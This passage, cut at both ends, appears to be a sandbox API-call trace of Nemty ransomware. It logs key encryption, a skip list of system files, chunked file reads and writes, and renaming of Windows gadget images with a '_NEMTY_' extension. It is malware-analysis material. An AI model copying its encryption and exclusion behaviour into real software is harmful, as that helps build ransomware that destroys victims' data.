Size=0x50) returned 0x4f94088 [0161.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0161.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-gibbous.png", lpUsedDefaultChar=0x0) returned 36 [0161.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0161.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0161.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-gibbous.png", lpUsedDefaultChar=0x0) returned 36 [0161.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0161.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0161.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0161.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-gibbous.png", lpUsedDefaultChar=0x0) returned 36 [0161.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0161.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0161.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0161.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-gibbous.png", lpUsedDefaultChar=0x0) returned 36 [0161.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0161.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401c8 [0161.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0161.788] Sleep (dwMilliseconds=0x5) [0161.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14167a30, dwHighDateTime=0x1d561e8)) [0161.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14167a30, dwHighDateTime=0x1d561e8)) [0161.805] GetLastError () returned 0x5 [0161.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.805] GetLastError () returned 0x5 [0161.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0161.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.805] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0161.805] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0161.805] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0161.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a0 [0161.805] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a0, pcchString=0x653e91c | out: pszString="5NvyIgZfoLDHUNRgkb9vU2Ymmez0/N4uf3HsXK8FHBAWx6yI3/0j3uESZLU3Xta6\r\nF06Wh9IpLT0BJsbDYhqT7mkJlOpZXCtYVdV6x7L7p5kqQS1wXTPpjjjqFYN6N1Ii\r\nLWLV8I9zoHfHeZhr5azxVLM3I97d+6hCz2SkpLxA447BjHcsD01lgm7ywJLPMQIF\r\nKyrh7YbDFkO+xe6Uo54XhQ/4qkk3yk7DzQYBPN7G1L7817hGcvw1bW7TyuORyaeo\r\nXikmTQpGK+dXTf6QD12w8EOc+RSq9yBHBS92Ch2BMyGK47ac+xsBFKjsjVJ4O+BD\r\nfEfRN/Lw2cMTI2Jd+Senig==\r\n", pcchString=0x653e91c) returned 1 [0161.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0161.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0161.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0161.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a0 [0161.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0161.805] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-gibbous.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-gibbous.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.809] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0161.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0161.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.899] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0161.921] CloseHandle (hObject=0xffffffff) returned 0 [0161.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340410 [0161.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0161.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0161.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0161.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0161.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404e8 [0161.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0161.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0161.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-gibbous.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-gibbous.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-gibbous.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-gibbous.png._nemty_kgobjgd_")) returned 0 [0161.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0161.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0161.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0161.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0161.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0161.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0161.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0161.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0161.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0161.922] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87252ece, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87252ece, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b16925f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b35, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2=".") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="..") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="...") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="windows") returned -1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="rsa") returned -1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="NTDETECT.COM") returned -1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="ntldr") returned -1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="MSDOS.SYS") returned -1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="IO.SYS") returned -1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="boot.ini") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="boot.ini") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="ntuser.dat") returned -1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="RECYCLER") returned -1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="bootmgr") returned 1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="programdata") returned -1 [0161.922] lstrcmpiW (lpString1="docked_black_moon-waning-gibbous_partly-cloudy.png", lpString2="appdata") returned 1 [0161.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0161.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0161.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345da8, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0161.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340148 [0161.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0161.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345da8, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-gibbous_partly-cloudy.png", 